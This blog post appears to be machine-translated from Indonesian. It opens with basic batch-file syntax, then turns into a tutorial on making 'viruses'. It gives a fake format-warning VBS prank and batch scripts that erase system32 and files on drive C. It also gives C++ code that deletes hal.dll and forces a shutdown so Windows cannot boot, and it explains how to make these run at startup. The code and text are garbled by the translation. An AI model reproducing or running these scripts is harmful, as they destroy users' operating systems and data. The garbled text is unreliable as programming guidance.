How to Create Batch Files and Usefulness

How to Create Batch Files and Usefulness - Hallo sahabat Tech News, Pada Artikel yang anda baca kali ini dengan judul How to Create Batch Files and Usefulness, kami telah mempersiapkan artikel ini dengan baik untuk anda baca dan ambil informasi didalamnya. mudah-mudahan isi postingan Artikel Tips & Trik, yang kami tulis ini dapat anda pahami. baiklah, selamat membaca.

Judul : How to Create Batch Files and Usefulness
link : How to Create Batch Files and Usefulness

Baca juga


How to Create Batch Files and Usefulness

How to Create Batch Files and Usefulness
Understanding Batch File In GeneralBatch file is a file that contains a set of dos commands that can be executed directly on the windows .Batch file has two types of functions:

      
1 . Positive function :For some people who love peace they will take advantage of the batch file for the good things that are: to create a tuneup program windows , the program administrator windows etc .

      
2 . Negative Function :For some , the cracker could they use a batch file to create an application that include: viruses , destructive programs etc. .We usually create a batch file using notepad and for studying programming batch file is not as difficult as we learn other programming languages ​​such as his : c , c + + , java , vb etc. . Batch file programming is a classic programming where everyone can learn it easily with just a few days . some even say they could be a batch file expert programmers only need 7 days ( 've been able to create a virus , and programs to tuneup windows )Understanding Batch In DetailedBatch or Batch file is a text file that contains a series of commands that are executed by segaja to the command interpreter . or can be defined also batch is a collection of command line commands that can be run on Microsoft Windows . The batch file is usually berekstensikan . Bat or . Cmd . Batch programming is very simple , just type the program's source code in notepad or other text editor and save it with the extension . Bat . To initially open notepad advance can be done in two ways:Click Start >> All Programs >> Accessories >> Notepad .Right-click in the middle of the desktop >> New >> Text Document >> Then click on the text icon documentnya .After appearing notepadnya , then you type the command-command of his batch in the notepad . For the first thing to try first with the following simple command .@ echo off:: Do not say " echo "echo Good Morning !Writing :: good morning message to the screenintermissionPause :: user to stop the program waiting
Then after that click File >> Save As >> nama.bat or coba.batKeep in mind here , the file extension must be * . Bat ( extension is the word after point ) that indicates the file is a file * . Bat . hmm sebenranya not only that we can make command but much more command-command with the variation that is very difficult to learn . and many more batch files that can be created but before let's learn about some of the batch file syntax .
Some Batch Command .> = Make a duplicate copy of a file to another directory .> Del = Delete a file from a directory .> Echo = write messages to the screen , while the syntax echo off , echo is used to negate the view .> Goto = jump from a syntax to a label .> Help = see another batch command .> Start = run a program .> = Pause command is to ask a few push any buttons , where the message is displayed Press any key to continue ... To get rid of this message can be typed PAUSE > NUL .> If = Used to check for certain conditions if the condition is available .> Brakes = Short REMARK is a result of a command into the command line does not work , it will be ignored and not processed .> Cls = Same as DOS command , which is used to clear the screen .> Exit = exit the DOS window when running batch file from Windows .
Some operators .@ = Useful to make the syntax becomes visible on the display or not to display the command line to the right of the screen .: = Sign the label .> = Meniban write something with the existing contents of the file .>> = Wrote something on the lines of the new line .:: = Comment , not executed .Another example of a simple batch virus for fun hehehe :)How to create a batch file using notepad :

How to Create Batch Files and Usefulness
Save the file with extension format . Bat .


How to Create Batch Files and Usefulness

How to Make Deadly Virus Just a " Notepad "Creating a virus ? Dangerous or not? Of course a dangerous virus , but this tutorial will discuss how to create a simple virus that is of the least hazardous , dangerous toSteps1 . Open Notepad2 . Copy the code belowlol = msgbox ( " Warning a virus has been detected on your PC . Press YES to format your hard disk now or press NO to format your hard disk after system reboot " , 20 , " Warning " )
3 . Save the format . Vbs ( ex : virus1.vbs ) . Save also with all file formats4 . Run The virus5 . Would appear yes or no choice . Choose only one ( Yes or No ) . Not going to happen anyway .Note : Messages that appear can be changed . And if you like the program is activated when the computer startup , put the program in C : \ Documents and Settings \ * username * \ Start Menu \ Programs \ Startup .***Simple Batch Virus manthabmanthabThis time the virus is harmless enough, but not damaging . If you want to try , please try it on another computer , not on a personal computer .Steps1 . Open Notepad2 . Copy the code belowThe virus detected / / Title for the windowxxx / / sub scripts xxxmsg * try to delete viruz / / messageerase " C : \ WINDOWS \ system32 " / / delete system32start xxxx.bat / / run xxxx.bat files that are stored on the same foldermsg * experiment failed , try again / / messagegoto xxxx / / execution xxxx.bat
3 . Save with the name xxx.bat ( Make all files , not . Txt )4 . Open Notepad ( Notepad new )5 . Copy the code belowViruz / / change window titlemsg * wah2 your computer in contact viruz / / message in the message boxdel / / Delete files / / / " del c : " mengapus the file in c :erase / / same kyk delxxxx.bat start / / start xxxx.batxxx / / sub scriptsgoto / / to the subscript
6 . Save with the name xxxx.bat ( Make all files , , save in the same folder with the files first )7 . If you want to run it , run the xxxx.bat8 . If you want to run when the computer startup Copy to C : \ Documents and Settings \ * user name * \ Start Menu \ Programs \ Startup .***Dangerous Virus hammerhammerThe viruses that may be considered dangerous , because to delete the file . Etc. and make the computer can not boot . So be careful , if you want to try , try on a computer that already want damaged wrote.Step - step1 . Prepare C + + tools ( like dev c Portable and similar )2 . Copy the code below# include# includeusing namespace std ;int main ( int argc , char * argv [ ] ){std :: remove ( " C : \ \ windows \ \ system32 \ \ hal.dll " ) ; / / Pwnage TIMEsystem ( " shutdown - s - r " ) ;system ( " PAUSE " ) ;EXIT_SUCCESS return ;}
3 . This program will delete hal.dll , so do not be executed because it can cause boot failure .4 . If you want the advance , copy the code below# include# includeusing namespace std ;int main ( int argc , char * argv [ ] ){std :: remove ( " % systemroot % \ \ system32 \ \ hal.dll " ) ; / / Pwnage TIMEsystem ( " shutdown - s - r " ) ;system ( " PAUSE " ) ;EXIT_SUCCESS return ;}
5 . The difference with the first code is the process of finding the system in the system directory . ( The first code can only delete hal.dll if dilteakkan code in the directory C : , while it will automatically look for .
6 . Do not try on a computer that is perfectly normal . Try on a computer that is already damaged about weight alone .sources :





Demikianlah Artikel How to Create Batch Files and Usefulness

Sekianlah artikel How to Create Batch Files and Usefulness kali ini, mudah-mudahan bisa memberi manfaat untuk anda semua. baiklah, sampai jumpa di postingan artikel lainnya.

Anda sekarang membaca artikel How to Create Batch Files and Usefulness dengan alamat link https://ontechnonews.blogspot.com/2013/09/cara-membuat-batch-file-dan-kegunaannya.html